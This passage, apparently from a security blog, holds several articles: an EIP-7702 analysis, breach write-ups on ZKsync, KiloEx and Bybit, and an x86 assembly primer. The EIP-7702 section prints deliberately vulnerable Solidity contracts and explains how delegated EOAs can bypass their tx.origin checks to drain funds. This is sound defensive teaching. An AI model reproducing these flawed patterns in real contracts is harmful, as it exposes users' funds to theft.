  • Focus on Rapid Detection and Response: Given that infostealers often serve as a precursor to more damaging attacks like ransomware, the ability to rapidly detect, contain, and remediate infections is paramount to minimizing overall business impact.

By adopting these strategic measures, organizations can significantly improve their resilience against Chihuahua Stealer and the broader, dynamic threat posed by information-stealing malware.

Pectra's EIP-7702: Redefining Trust Assumptions in Ethereum's Ecosystem

Pectra's EIP-7702: Redefining Trust Assumptions in Ethereum's Ecosystem

Ethereum's upcoming Pectra upgrade introduces EIP-7702, a groundbreaking proposal that fundamentally transforms how we understand Externally Owned Accounts (EOAs) and their capabilities. This upgrade represents the most significant change to Ethereum's account architecture since the Merge, enabling standard EOAs to temporarily behave like smart contract wallets without compromising self-custody or security. The innovation effectively "redefines trust" by challenging longstanding assumptions about account behavior while introducing powerful new capabilities that bridge the gap between traditional EOAs and smart contract wallets.

Technical Foundations of EIP-7702

EIP-7702 introduces a new transaction type (SET_CODE_TX_TYPE 0x04) that allows EOAs to authorize setting their own account code to a special "delegation indicator" bytecode. This bytecode consists of 0xef0100 followed by the 20-byte address of the delegate contract. This fundamental change enables an EOA to execute complex smart contract logic as itself, with msg.sender being the EOA's address, even when called deeper within a transaction's call stack.

The technical implementation is elegant in its simplicity - it requires just a single upgrade transaction from existing wallets while maintaining their addresses, assets, and private keys. As Trust Wallet CEO Eowyn Chen notes, "EIP-7702 changes the game. It's the most important UX upgrade Ethereum has seen in years".

EIP-7702 comparison

Breaking the Core EVM Invariant

Perhaps the most profound impact of EIP-7702 is how it breaks a fundamental invariant that developers have relied upon for years:

tx.origin == msg.sender

This equality was previously a guarantee that the current execution context was initiated directly by an EOA without intermediate contract calls within the same transaction. After EIP-7702's implementation, this guarantee no longer holds, as EOAs can now execute delegated code that behaves like a smart contract.

This shift forces a complete reevaluation of security assumptions in existing smart contracts, particularly those using this equality check as a security feature.

Vulnerable Contracts: Risk Examples

Reentrancy Protection Bypasses

Some contracts use the tx.origin == msg.sender check as an anti-reentrancy measure, assuming that reentrant calls would necessarily come from another contract. For example:

contract VulnerableRewards {
    mapping(address => uint256) public balances;

    function withdraw() external {
        require(tx.origin == msg.sender, "EOA only");
        uint amount = balances[msg.sender];
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] = 0;
    }
}

Under EIP-7702, an EOA with delegated code can include a fallback function that makes reentrant calls, enabling attacks that were previously impossible. Foundry tests demonstrate an attacker's ability to drain all ether from such vulnerable contracts.

Flash Loan Defense Bypass

Contracts sometimes used the same check to prevent intermediary contracts from executing flash loan-style sandwich attacks. The VulnerableGovernance contract illustrates this vulnerability:

function vote(bool support) external {
    require(tx.origin == msg.sender, "Externally owned accounts only");
    // Voting logic potentially vulnerable to manipulation by delegated EOAs
}

An attacker with EIP-7702 can now delegate to a malicious contract and call the target function while maintaining tx.origin == msg.sender, bypassing these protections.

New Trust Models: Smart EOAs

Gasless Transactions and Fee Abstraction

One of the most revolutionary features enabled by EIP-7702 is the ability for wallets to pay transaction fees using ERC-20 tokens instead of ETH. Both Ambire and Trust Wallet have implemented systems allowing users to pay gas using stablecoins like USDT or other tokens.

Ambire's Gas Tank feature exemplifies this capability, allowing users to top up with stablecoins on Ethereum and seamlessly pay transaction fees across multiple networks like Base, Optimism, or Arbitrum. Trust Wallet's upcoming FlexGas feature will similarly enable gas payments with USDT and TWT tokens on Ethereum and BNB Chain.

This innovation dramatically reduces onboarding friction by eliminating the need for new users to acquire ETH before interacting with dApps.

Transaction Batching for Enhanced Efficiency

EIP-7702 enables users to "bundle multiple transactions into one transaction, drastically reducing gas fees and enhancing efficiency". For example, a user could approve a token, execute a swap, and stake the resulting tokens in a single transaction.

Ambire has demonstrated this capability on BNB Smart Chain, which implemented EIP-7702 through the Pascal hard fork:

Two swaps + two transfers bundled into a single transaction while paying gas in stablecoins, all from an EOA account

This capability significantly improves user experience by reducing transaction complexity, lowering costs, and decreasing the likelihood of failed transactions.

Advanced On-chain Transaction Simulation

Another trust-enhancing capability is advanced transaction simulation, which allows users to see exactly what will happen to their account balance before approving a transaction. Rather than blindly signing and hoping for the best, users can preview precisely what tokens or assets they're sending, receiving, or approving beforehand.

Implementation in Leading Wallet Ecosystems

Ambire: First Mover in EIP-7702 Integration

Ambire Wallet was built as a smart wallet from its inception and has already perfected key features like transaction batching and gasless payments that will soon be available to all EOAs through EIP-7702. It claims to be "the first wallet to support EIP-7702 from launch day" with integration already active on Ethereum's Sepolia testnet.

The upgrade process in Ambire is straightforward - requiring just a single transaction while preserving the wallet's address, assets, and private key. Users can start bundling multiple actions using the "Queue and Sign Later" option, executing them all in one transaction.

Trust Wallet: Enterprise-Grade Implementation

Trust Wallet, with over 200 million users, has developed its EIP-7702 implementation entirely in-house rather than relying on third-party abstractions. Their modular architecture includes:

  1. Paymaster - For custom gas logic and token-based payments
  2. Bundler - For optimized multi-step transactions
  3. Relayer - For robust submission of abstracted transactions
  4. Gas Provisioner - For intelligent management of gas sources across chains

This comprehensive approach positions Trust Wallet to support advanced features beyond basic EIP-7702 functionality, including gasless onboarding for dApps, automated strategies, and smart transaction policies for institutions.

Security Implications and Considerations

Broken Assumptions in Token Transfers

EIP-7702 changes how token contracts interact with EOAs. Standards like ERC-721 (NFTs) and ERC-777/ERC-677 treat any address with code as a contract and attempt to call receiver hook functions. When an EOA enables delegation, it will be seen as a contract, meaning safe NFT transfers (safeTransferFrom) will attempt to invoke onERC721Received.

If the delegated contract doesn't implement the expected callback, transfers will revert unexpectedly. Similarly, ERC-777 tokens expecting tokensReceived functions may behave differently with delegated EOAs.

Mitigation Strategies

Developers and security engineers should take proactive steps to adapt to EIP-7702, including:

  1. Reviewing any contracts that rely on tx.origin == msg.sender checks
  2. Assuming EOAs may have delegated code and behavior
  3. Designing new contracts under the assumption that "code-free" EOAs may eventually not exist
  4. Considering external security reviews focused on EIP-7702 impacts

The Future Landscape of Account Abstraction

EIP-7702 represents a significant step in Ethereum's evolution toward full account abstraction. By enabling EOAs to behave like smart contract wallets without changing addresses or compromising self-custody, it creates a pathway for gradual adoption of more sophisticated wallet behaviors.

Future applications enabled by this foundation include:

  1. Sponsored transactions - dApps covering gas fees for new users
  2. Automated actions - Subscriptions, dollar-cost averaging, and session keys
  3. Wallets-as-services - Intelligent financial agents rather than passive tools

As Trust Wallet CEO Eowyn Chen explains: "Our vision is to evolve wallets from static key holders into intelligent, user-friendly agents. EIP-7702 gives us the foundation to do it in a self-custodial, secure way - at scale".

Conclusion

Pectra's EIP-7702 truly redefines trust in the Ethereum ecosystem by challenging fundamental assumptions about account behavior while introducing powerful new capabilities. By enabling EOAs to execute delegated code, it breaks the longstanding invariant that tx.origin == msg.sender implies direct EOA interaction, creating both security challenges and unprecedented opportunities.

The innovation brings smart contract functionality directly to standard wallets without compromising self-custody, enabling gasless transactions, batching, and advanced user experiences. Major wallet providers like Ambire and Trust Wallet are already embracing this shift, positioning EIP-7702 as potentially the most significant UX improvement for Ethereum since the Merge.

As the ecosystem adapts to these new trust assumptions, developers must reconsider existing security models, but the potential for improved onboarding, reduced friction, and more sophisticated self-custodial wallet behavior promises to accelerate mainstream adoption of Ethereum and Web3 technologies.

ZKsync Security Breach

ZKsync Security Breach: Analysis of the $5 Million Token Theft

On April 15, 2025, ZKsync, a prominent Ethereum layer-2 scaling solution, suffered a significant security breach when hackers compromised an administrative wallet and minted unauthorized tokens worth approximately $5 million. The incident specifically targeted unclaimed airdrop tokens, resulting in market volatility and raising questions about security practices within the protocol. This report examines the breach details, ZKsync's response, market impact, and broader security implications for the cryptocurrency ecosystem.

The Attack Vector and Compromise Details

Administrative Wallet Exploitation

The security breach centered on a compromised administrative account that had control over three airdrop distribution contracts. ZKsync identified the affected admin wallet address as 0x842822c797049269A3c29464221995C56da5587D in their official statement. The attacker leveraged this access to exploit a specific contract function designed to handle unclaimed tokens from the project's recent airdrop campaign. Here we can see the updates from their side:

ZKSync Twit

Technical Exploitation Mechanism

The attacker specifically targeted the airdrop distribution mechanism by calling the "sweepUnclaimed()" function within the compromised contracts. This function allowed the unauthorized minting of approximately 111 million unclaimed ZK tokens that had been reserved for users who had not yet claimed their airdrop allocation. By exploiting this administrative function, the attacker was able to mint these tokens and gain control over assets that represented a significant portion of the unclaimed airdrop supply.

Another technical detail is that the transactions from the compromised Safe wallet were configured for only 1 validator for the tx. It is highly recommended to have more than 1 validators per transaction. This is a best practice to ensure the security of the transaction and prevent any potential exploits.

ZKSync Safe

Scope and Scale of the Breach

The security team at ZKsync quickly determined that the attack was isolated to the airdrop distribution contracts only. The scope of the breach resulted in the unauthorized minting of tokens that increased the total token supply by approximately 0.45%. This relatively contained percentage suggests that while significant, the breach did not fundamentally alter the token's overall economics. Most of the stolen tokens reportedly remain in a wallet controlled by the attacker (0xb1027ed67f89c9f588e097f70807163fec1005d3).

ZKsync's Response and Remediation Efforts

Immediate Containment Actions

Upon discovering the breach, ZKsync moved swiftly to contain the situation and provide transparency to its users. The team released an official statement confirming that "this incident is contained to the airdrop distribution contracts only, and all the funds that could be minted have been minted. No further exploits via this method are possible". This clarification was crucial in preventing market panic by establishing the limited scope of the vulnerability.

Infrastructure Security Assessment

ZKsync conducted a thorough investigation to determine the extent of the compromise and explicitly confirmed that core protocol components remained secure. According to their statement, "The ZKsync protocol, ZK token contract, all three governance contracts, and all active Token Program capped minters have not been, and will not be impacted by this incident". This clarification was essential in reassuring users that their personal funds and the broader protocol infrastructure remained unaffected.

Recovery Coordination Efforts

The team has initiated coordination with security firm Seal 911 (SEAL) and major cryptocurrency exchanges to assist in recovery efforts. As part of their response strategy, ZKsync directly addressed the attacker, encouraging them to "get in touch with security@zksync.io to negotiate the return of the funds and avoid legal liability". This approach reflects standard practice in the cryptocurrency industry, where teams sometimes attempt to negotiate with attackers to recover stolen assets.

Market and Community Impact

Token Price Volatility

The news of the security breach immediately impacted the ZK token's market performance. Following the announcement, the ZK token price experienced a significant drop of approximately 10-19% according to various sources. By the end of the trading day, the price had recovered somewhat, closing with a 5% loss. As of April 16, 2025, the token was trading at around $0.047, showing signs of recovery from the initial shock.

Trading Volume Response

While the price fell, trading activity increased substantially, with 24-hour volume rising by 96% to $71 million according to data reported by CoinDesk. This surge in trading volume demonstrates the market's immediate reaction to the security incident, as both sellers responding to the negative news and opportunistic buyers entered the market.

Community Trust Concerns

The breach has generated significant frustration within the ZKsync community, with many users expressing concerns about the project's security practices and transparency. Community members have questioned how such a critical access point could be compromised in a project of ZKsync's scale and reputation. Some users have drawn connections between this incident and broader concerns about token distribution mechanisms, with one community member commenting, "The same tokens you couldn't give the community... A good way to exit, though".

Broader Security Implications for Crypto

2025 Crypto Security Landscape

This incident contributes to a troubling trend in cryptocurrency security for 2025. According to reports, total losses from cryptocurrency-related hacks and thefts have already surpassed $1.77 billion in just the first quarter of the year. The ZKsync breach, while significant, represents only a portion of this larger security challenge facing the industry.

Centralization Risks in Decentralized Systems

The breach highlights a fundamental tension in supposedly decentralized systems: the presence of centralized points of failure. Despite ZKsync's focus on decentralization through its layer-2 scaling technology, the compromise of a single administrative account led to significant financial consequences. This raises important questions about key management practices and access controls within decentralized finance (DeFi) projects.

Airdrop Security Vulnerabilities

The specific targeting of unclaimed airdrop tokens exposes potential vulnerabilities in token distribution mechanisms. As airdrops have become a popular method for distributing tokens and building community engagement, this incident serves as a reminder that these distribution methods can introduce unique security challenges if not implemented with robust protective measures. The exploitation of the "sweepUnclaimed()" function specifically demonstrates how administrative capabilities designed for legitimate purposes can become attack vectors when access controls fail.

Technical Context of ZKsync

Layer-2 Scaling Technology

ZKsync operates as an Ethereum layer-2 scaling solution that utilizes zero-knowledge proofs to process transactions more efficiently than the Ethereum mainnet. This technology allows for faster transaction processing and lower fees while maintaining security guarantees through cryptographic proofs that verify the validity of transactions without revealing their contents.

Protocol Infrastructure and TVL

Prior to the breach, ZKsync maintained a significant position in the layer-2 ecosystem with over $500 million in total value locked (TVL) according to some reports, while other sources cite a more conservative figure of $57.3 million TVL as of April 15, 2025. Regardless of the exact figure, ZKsync represents an important infrastructure component in the Ethereum scaling ecosystem.

Airdrop Context

The compromised tokens were part of ZKsync's recent airdrop initiative, which was distributing 17.5% of its token supply to ecosystem participants. Airdrops have become a standard method for protocols to distribute governance tokens to users and build community engagement, but this incident raises important questions about the security of such distribution mechanisms.

Conclusion

The ZKsync security breach of April 15, 2025, while contained to airdrop distribution contracts, represents a significant incident in the cryptocurrency security landscape. The compromise of an administrative wallet leading to the unauthorized minting of 111 million ZK tokens worth $5 million highlights vulnerabilities that can exist even in sophisticated blockchain protocols.

ZKsync's response has emphasized the isolated nature of the breach and the continued security of core protocol components and user funds. Nevertheless, the incident has impacted market confidence, as evidenced by the token's price volatility, and raised important questions about security practices, administrative access controls, and the centralization of supposedly decentralized systems.

As ZKsync works with security partners to potentially recover the stolen funds, this incident serves as a reminder of the ongoing security challenges facing the cryptocurrency industry in 2025. For projects implementing token distribution mechanisms like airdrops, the breach underscores the importance of robust security measures around administrative functions and access controls to prevent similar exploits in the future.

KiloEx DEX $7.5 Million Security Breach

KiloEx DEX \$7.5 Million Security Breach: Analysis and Mitigation Strategies for Similar Platforms

The recent KiloEx decentralized exchange (DEX) exploit represents a significant security incident in the decentralized finance ecosystem, highlighting the ongoing vulnerabilities that plague even backed and established platforms. This security breach, which resulted in the theft of \$7.5 million through price oracle manipulation, offers critical lessons for similar companies operating in the DeFi space.

The KiloEx Security Breach: Timeline and Technical Details

On April 14, 2025, KiloEx, a decentralized perpetuals trading platform, fell victim to a sophisticated cross-chain attack that targeted multiple blockchain networks simultaneously. The security breach was first detected by blockchain security platform Cyvers Alerts at 7:30 PM UTC, with the exchange officially confirming the incident the following day. The attack resulted in the theft of approximately \$7.5 million distributed across multiple blockchains: \$3.3 million from Base, \$3.1 million from opBNB, and \$1 million from the BNB Chain (BSC).

Technical Mechanics of the Exploit

The root cause of the breach was identified as a vulnerability in KiloEx's price oracle system. Price oracles serve as bridges between on-chain and off-chain data, providing real-time price feeds for various digital assets. In this case, the attacker exploited a fundamental flaw in the oracle's access control mechanism.

According to blockchain security firm PeckShield's analysis, the attacker employed a sophisticated price manipulation technique. They opened a new position with ETH priced at \$100, then immediately closed it with an artificially inflated value of \$10,000, netting a \$3.12 million profit in a single transaction. The exploit was described by Chaofan Shou, co-founder of blockchain analytics firm Fuzzland, as a "very simple vulnerability" where "anyone can change the Kilo's price oracle". While the system did verify that the caller was a trusted forwarder, it critically failed to verify the forwarded caller's identity, creating the security gap.

Immediate Response and Recovery Efforts

KiloEx responded swiftly to the attack by:

  1. Immediately suspending all platform operations to prevent further losses
  2. Containing the breach to limit damage
  3. Initiating an investigation with leading blockchain security partners
  4. Tracking the movement of stolen funds, which were being routed through zkBridge and Meson
  5. Collaborating with ecosystem partners including BNB Chain, Manta Network, and security firms Seal-911, SlowMist, and Sherlock
  6. Announcing plans to launch a bounty program to encourage the return of stolen assets

The incident had immediate market repercussions, with KiloEx's native token (KILO) plummeting by approximately 30%, causing its market capitalization to drop from \$11 million to \$7.5 million within hours of the attack. This stark market reaction underscores the significant reputational and financial consequences of security breaches in the DeFi space.

Understanding Price Oracle Vulnerabilities in DeFi

To comprehend how similar attacks can be prevented, it's essential to understand the fundamental nature of price oracle manipulation attacks and their mechanics within the DeFi ecosystem.

Role and Importance of Price Oracles

Price oracles are critical infrastructure components in decentralized finance, providing smart contracts with external data about asset prices. In DEX environments, these oracles determine asset values and ensure trades execute at fair prices by aggregating data from multiple sources. However, their reliance on external information creates an attack vector that malicious actors can exploit.

Common Vulnerability Patterns

Price oracle manipulation attacks exploit vulnerabilities in how smart contracts estimate cryptocurrency token values, enabling attackers to drain value from protocols using incorrect valuations. These attacks typically follow several patterns:

  1. Flash Loan Exploitation: Attackers borrow substantial funds without collateral (flash loans) to temporarily manipulate market prices, executing profitable trades before returning the borrowed amount.
  2. Low Liquidity Targeting: In pools with limited liquidity, even small trades can significantly impact price discovery, making manipulation more feasible and less costly.
  3. Internal Price Calculation Flaws: Some smart contracts estimate token values based on internal supply and demand metrics, creating predictable vulnerabilities that attackers can exploit.
  4. Time-Weighted Average Price (TWAP) Manipulation: Attackers may influence price calculations that use time-weighted averages if proper safeguards aren't implemented.
  5. Access Control Weaknesses: As demonstrated in the KiloEx case, inadequate access controls can allow unauthorized parties to directly influence oracle price feeds.

Comprehensive Mitigation Strategies for DEX Platforms

Based on the KiloEx incident and broader industry knowledge, the following mitigation strategies can help similar platforms protect against price oracle manipulation attacks.

Technical Safeguards

Multi-Source Oracle Implementation

Decentralized exchanges should avoid relying on a single source of price data. By aggregating pricing information from multiple independent sources, platforms can significantly reduce the risk of manipulation. This approach ensures that even if one source is compromised or manipulated, the impact on the final price calculation is minimal.

Robust Access Control Mechanisms

The KiloEx breach demonstrates the critical importance of comprehensive access control systems. DEX platforms should:

  1. Implement rigorous verification for all entities interacting with price oracles
  2. Verify both trusted forwarders AND forwarded callers
  3. Use multi-signature requirements for critical oracle functions
  4. Implement time-locks for significant price changes that deviate beyond predetermined thresholds
Advanced Aggregation Methods

The selection of appropriate aggregation methods for price data can significantly enhance security. Options include:

  1. Median Values: Using the median rather than mean values can reduce the impact of outliers and manipulation attempts.
  2. Time-Weighted Averages with Safeguards: TWAPs can be effective when implemented with proper manipulation resistance, such as minimum time periods that exceed the duration of typical flash loan attacks.
  3. Volume-Weighted Calculations: Giving greater weight to prices from higher-volume transactions can reduce the impact of manipulation

Bybit hack, $1.4 billion in ETH

The Bybit Exchange Hack of February 2025: A Comprehensive Analysis

In February 2025, cryptocurrency exchange Bybit suffered what has become the largest digital heist in cryptocurrency history, with losses totaling approximately $1.5 billion. This sophisticated attack, attributed to North Korean state actors, exposed critical vulnerabilities in multi-signature wallet systems and highlighted the evolving nature of threats in the cryptocurrency space. The incident involved a complex chain of events including the compromise of a developer's machine, manipulation of transaction interfaces, and rapid laundering of stolen funds.

Bybit Hack Analysis and Security Recommendations

Timeline of the Bybit Security Breach

The February 2025 Bybit hack was meticulously planned and executed with precision. According to forensic analysis conducted by Mandiant, the North Korean-affiliated hackers spent 19 days preparing for the attack before its execution. The actual breach began on February 21, 2025, at approximately 14:15 UTC, when attackers initiated a small test transaction of 90 USDT from Bybit to their controlled address. This initial transaction served as a verification that their system compromise was successful and operational.

Just one minute later, at 14:16 UTC, the attackers executed the main attack, withdrawing an enormous amount of cryptocurrency: 401,347 ETH, 90,375 stETH, 15,000 cmETH, and 8,000 mETH, with a combined value of approximately $1.4-1.5 billion. The timing of the attack appears deliberate, occurring on a Friday late in the day for many regions, including Bybit's headquarters in Dubai, when staffing would likely be reduced and response capabilities limited.

By 14:29 UTC, merely 14 minutes after the major withdrawal, the attackers had already begun laundering the stolen funds. They initiated this phase with a test transaction of 1 ETH to a new address, then proceeded to rapidly exchange the various tokens (stETH, cmETH, and mETH) for Ethereum using decentralized finance services in batches of approximately 10,000 tokens. This laundering operation was conducted simultaneously across multiple addresses, demonstrating a high level of organization and possibly automated processes designed to quickly obscure the movement of stolen assets.

The first public confirmation of the incident came from Bybit approximately an hour and a half after the attack began, with an announcement posted to their X (formerly Twitter) account at around 15:51 UTC[1]. By March 4, 2025, Bybit CEO Ben Zhou reported that while about 77% of the funds (valued at roughly $1.07 billion) remained traceable on-chain, approximately $280 million had already "gone dark". More alarmingly, reports indicated that by March 6, the hackers had managed to launder 100% of the stolen cryptocurrency in just 10 days.

Bybit Hack Cyber Kill Chain source: https://www.elastic.co/security-labs/bit-bybit

Attack Mechanism and Compromised Systems

The Bybit hack represents a sophisticated operational security breach rather than a traditional smart contract exploit. The attack originated not within Bybit's own infrastructure but through a compromise of Safe{Wallet} (formerly known as SafeWallet), the multi-signature wallet platform used by Bybit for managing its cold storage.

Forensic investigations by security firms Sygnia and Verichains revealed that the attackers first compromised a Safe{Wallet} developer's MacOS system, likely through malware installation. Through this initial access, they were able to hijack the developer's Amazon Web Services (AWS) session tokens, effectively bypassing the multifactor authentication security measures implemented by Safe{Wallet}. Notably, Safe{Wallet}'s AWS settings required team members to reauthenticate their session tokens every 12 hours, which prompted the hacking group to attempt registration of an MFA device to maintain persistent access.

With access to the AWS environment, the attackers injected malicious JavaScript code into app.safe.global, the web application used by cryptocurrency exchanges like Bybit to manage their multi-signature wallets. This malicious code was specifically designed to activate only under certain conditions, ensuring that regular users would not detect the backdoor while high-value targets like Bybit would be compromised. The selective triggering mechanism demonstrates the highly targeted nature of this attack.

The most insidious aspect of the attack involved manipulating the user interface presented to Bybit's operators. During what appeared to be a routine transfer of ETH from Bybit's multi-signature cold wallet to its hot wallet, the attackers altered what the operators saw in the Safe{Wallet} interface. The transaction details displayed to the operators did not reflect the true, malicious nature of the transaction being signed. When Bybit staff approved what they believed was a legitimate transfer, they unwittingly granted the attackers control over the cold wallet by replacing Bybit's vault keys with those controlled by the attackers.

Attribution and Tactics of the Threat Actors

Multiple security firms and government agencies have attributed this attack to North Korean state-sponsored hackers, specifically the notorious Lazarus Group. This attribution is based on several factors, including Mandiant's forensic analysis, which confirmed the hackers were North Korean state actors who took 19 days to prepare and execute the attack[6]. The FBI also published an alert specifically identifying the attackers as North Korean hackers and asking node operators to block transactions from wallet addresses linked to them.

The attack methodology bears significant similarities to previous operations attributed to the Lazarus Group. Similar techniques were employed in attacks against other cryptocurrency platforms including WazirX and Radiant Capital, where attackers also exploited weaknesses in multi-signature systems by manipulating transaction data. This pattern suggests a refinement of tactics by this threat actor, moving from direct smart contract exploits to more sophisticated operational security breaches targeting the human and infrastructure elements of cryptocurrency platforms.

The sophistication of the laundering operation following the theft further supports the attribution to a well-organized state-sponsored group. The attackers demonstrated the capability to rapidly distribute and convert large amounts of cryptocurrency across multiple accounts in parallel, suggesting significant resources and possibly automated tools designed specifically for this purpose. This ability to quickly obscure the trail of stolen funds is consistent with previous operations attributed to North Korean hackers.

SafeWallet's Post-Mortem Findings

According to a post-mortem report released by SafeWallet, developed in collaboration with Mandiant, the attack involved several sophisticated steps to bypass security measures. After compromising the developer's MacOS system, the attackers made several failed attempts at registering a multifactor authentication device before successfully using the AWS session tokens obtained from the compromised system. Once inside the AWS environment, they worked methodically to set up the attack infrastructure.

Remarkably, the attackers demonstrated operational security awareness by cleaning up evidence of their intrusion. According to Sygnia's analysis, "Two minutes after the malicious transaction was executed and published, new versions of the JavaScript resources were uploaded to Safe{Wallet}'s AWS S3 bucket. These updated versions had the malicious code removed". This rapid cleanup effort indicates a desire to limit detection and forensic analysis of their methods.

Mitigation Measures and Industry Response

In the aftermath of the Bybit hack, several mitigation measures and industry responses have been implemented. Safe{Wallet} has put additional safeguards in place, though they emphasized that the cybersecurity exploit did not affect their smart contracts themselves, which remained secure throughout the incident. This distinction highlights the importance of securing not only the blockchain technology itself but also the supporting infrastructure and human elements that interact with it.

The FBI took the unusual step of publishing an online alert asking node operators to block transactions from wallet addresses linked to the North Korean hackers, warning that the stolen funds would be laundered and converted to fiat currency. Despite these efforts, the attackers successfully laundered 100% of the stolen cryptocurrency in just 10 days, demonstrating the challenges faced by law enforcement in responding to such incidents in the fast-moving cryptocurrency ecosystem.

Bybit has launched a recovery bounty program, offering up to 10% of the recovered amount to individuals who assist in retrieving the stolen cryptocurrency. They are also actively collaborating with industry experts, including blockchain analytics firm Chainalysis, to trace and potentially recover the stolen assets. As of March 4, 2025, Bybit CEO Ben Zhou reported that approximately 77% of the funds, valued at roughly $1.07 billion, remained traceable on-chain, offering some hope for potential recovery.

The cybersecurity firm Trail of Bits has emphasized that this attack could potentially have been prevented through comprehensive threat modeling, which would have identified the operational security vulnerabilities before they could be exploited. They noted that while traditional code audits focus on finding implementation bugs in smart contracts, only threat modeling can reveal the systemic and operational weaknesses that enabled this particular breach.

The SafeWallet team has called for continued improvements to user experience and user interfaces to combat similar future threats. This recommendation acknowledges that even with technically secure systems, the human-computer interface remains a critical vulnerability that attackers can exploit through social engineering and interface manipulation.

Broader Implications and Lessons Learned

The Bybit hack represents a significant evolution in the threat landscape facing cryptocurrency exchanges and platforms. Unlike earlier cryptocurrency heists that primarily exploited flaws in smart contract code, this attack targeted the operational and human elements of the system, using sophisticated social engineering and interface manipulation to trick authorized users into approving malicious transactions.

This incident highlights several critical vulnerabilities in current cryptocurrency security practices. First, it demonstrates that multi-signature wallet solutions, while theoretically more secure than single-signature alternatives, can still be compromised if the interfaces used to interact with them are manipulated. The attackers did not need to break the cryptographic security of the blockchain itself; they simply needed to trick human operators into approving a transaction whose true nature was hidden from them.

Second, the attack underscores the importance of securing the entire technology stack involved in cryptocurrency operations, not just the blockchain and smart contract components. In this case, the vulnerability originated in the AWS infrastructure supporting the Safe{Wallet} application, highlighting how cloud security practices directly impact cryptocurrency security. The compromise of a developer's workstation and subsequent theft of AWS session tokens provided the initial access that made the entire attack possible.

Third, the incident demonstrates the increasing sophistication of state-sponsored threat actors in the cryptocurrency space. North Korean hackers have a well-documented history of targeting cryptocurrency platforms, but this attack shows an evolution in their tactics from direct technical exploits to more complex operational security breaches. This trend suggests that cryptocurrency platforms must evolve their security practices accordingly, with increased focus on securing the human elements of their operations and implementing robust threat modeling practices.

Conclusion

The February 2025 Bybit hack stands as the largest cryptocurrency theft in history, resulting in the loss of approximately $1.5 billion in various Ethereum-based tokens. Attributed to North Korean state-sponsored hackers from the Lazarus Group, the attack exploited vulnerabilities in the operational security of Safe{Wallet}, the multi-signature wallet platform used by Bybit, rather than flaws in blockchain technology itself.

The attack methodology involved compromising a developer's workstation, stealing AWS session tokens, injecting malicious JavaScript into the Safe{Wallet} web application, and manipulating the user interface to trick Bybit operators into authorizing a transaction that granted attackers control of the exchange's cold wallet. The sophisticated nature of the attack, including targeted payload delivery and rapid laundering of stolen funds, demonstrates the evolving capabilities of state-sponsored threat actors in the cryptocurrency space.

Industry response has included enhanced security measures by Safe{Wallet}, collaboration with blockchain analytics firms to trace stolen funds, and calls for more comprehensive threat modeling to identify and mitigate operational security vulnerabilities. The incident highlights the critical importance of securing not only the technical components of cryptocurrency systems but also the human and operational elements that interact with them. As cryptocurrency platforms continue to hold increasing amounts of value, the security practices protecting these assets must evolve to address the sophisticated threats posed by well-resourced and persistent adversaries.

Understanding Assembly

Assembly language is a low-level programming language that closely corresponds to machine code, using mnemonics to represent CPU instructions. It provides direct control over hardware and memory, making it essential for tasks requiring granular analysis and manipulation. Assembly language is foundational for cybersecurity because it enables deep introspection and manipulation of software behavior. Mastery of assembly equips professionals to reverse engineer binaries, dissect malware, and develop exploits, bridging the gap between high-level abstractions and hardware-level execution. This low-level expertise is crucial for both defending systems and understanding adversary tactics.

x86

CISC (Complex Instruction Set Computer)

Here is a really good explanation of registers, instructions, stack and calling conventions:

https://www.cs.virginia.edu/~evans/cs216/guides/x86.html https://www.eecg.utoronto.ca/~amza/www.mindsec.com/files/x86regs.html https://sonictk.github.io/asm_tutorial/ https://github.com/sonictk/asm_tutorial/tree/master

images/1022-1.png

CPU instructions to memory: MOV, PUSH, POP, LEA CPU instructions to I/O Devices: IN, INS, INB, OUT, OUTS, OUTB https://redirect.cs.umbc.edu/~cpatel2/links/310/slides/chap11_lect08_IO1.pdf

Registers:

General registers EAX EBX ECX EDX

Segment registers CS DS ES FS GS SS

Index and pointers ESI EDI EBP EIP ESP

Indicator EFLAGS

images/1022-2.png

General registers

As the title says, general register are the one we use most of the time Most of the instructions perform on these registers. They all can be broken down into 16 and 8 bit registers.

32 bits : EAX EBX ECX EDX

16 bits : AX BX CX DX

8 bits : AH AL BH BL CH CL DH DL

The "H" and "L" suffix on the 8 bit registers stand for high byte and low byte. With this out of the way, let's see their individual main use

EAX,AX,AH,AL : Called the Accumulator register.

          It is used for I/O port access, arithmetic, interrupt calls,

          etc...

EBX,BX,BH,BL : Called the Base register

          It is used as a base pointer for memory access

          Gets some interrupt return values

ECX,CX,CH,CL : Called the Counter register

          It is used as a loop counter and for shifts

          Gets some interrupt values

EDX,DX,DH,DL : Called the Data register

          It is used for I/O port access, arithmetic, some interrupt

          calls.

Indexes and pointers

Indexes and pointer and the offset part of and address. They have various uses but each register has a specific function. They some time used with a segment register to point to far address (in a 1Mb range). The register with an "E" prefix can only be used in protected mode.

ES:EDI EDI DI : Destination index register

           Used for string, memory array copying and setting and

           for far pointer addressing with ES

DS:ESI EDI SI : Source index register

           Used for string and memory array copying

SS:EBP EBP BP : Stack Base pointer register

           Holds the base address of the stack

SS:ESP ESP SP : Stack pointer register

           Holds the top address of the stack

CS:EIP EIP IP : Instruction Pointer

           Holds the offset of the next instruction

           It can only be read

Instructions

Arithmetics instructions: ADD, SUB, INC, DEC, IMUL, IDIV, AND, OR, XOR, NOT, NEG, SHL and SHR

They can be easy to explain from a Logic Door and Electronic circuit perspective.

  • MOV: moves between registers, memory and constants indifferently.
  • PUSH: adds the register passed as argument to the top of the stack and decrement stack pointer (enlarge stack)
  • POP: gets the value on the top of the stack and puts it in the register passed as paramter, it increments the stack pointer (shorten stack)
  • LEA: Load Effective Address, given a certain pointer it can get the actual address of the pointer, for example the top of the stack (RSP)
  • LEA QWORD rax, [rsp]: saves address pointing to the top of the stack (not the value at the top of stack) into register A.

Branching:

  • JMP: Jumps to the address passed by argument, it means that RIP now points to that address, unconditionally.
  • CALL: is the same as JMP, it additionally (before the JMP) saves the current RIP into the top of the stack.
  • INT: an interruption is the same as CALL, but you will jump to a direction that you don't know of in the interruption table (BIOS) you pass the index of that table as an argument. More on this here
  • INT 0x80 is used for system calls, it would be similar than the modern and faster SYSCALL instruction.
  • RET: contrarily to CALL, RET will pop the direction to jump from the top of the stack, so after the subroutine is finished you need to clean the stack to have return direction that CALL instruction pushed.
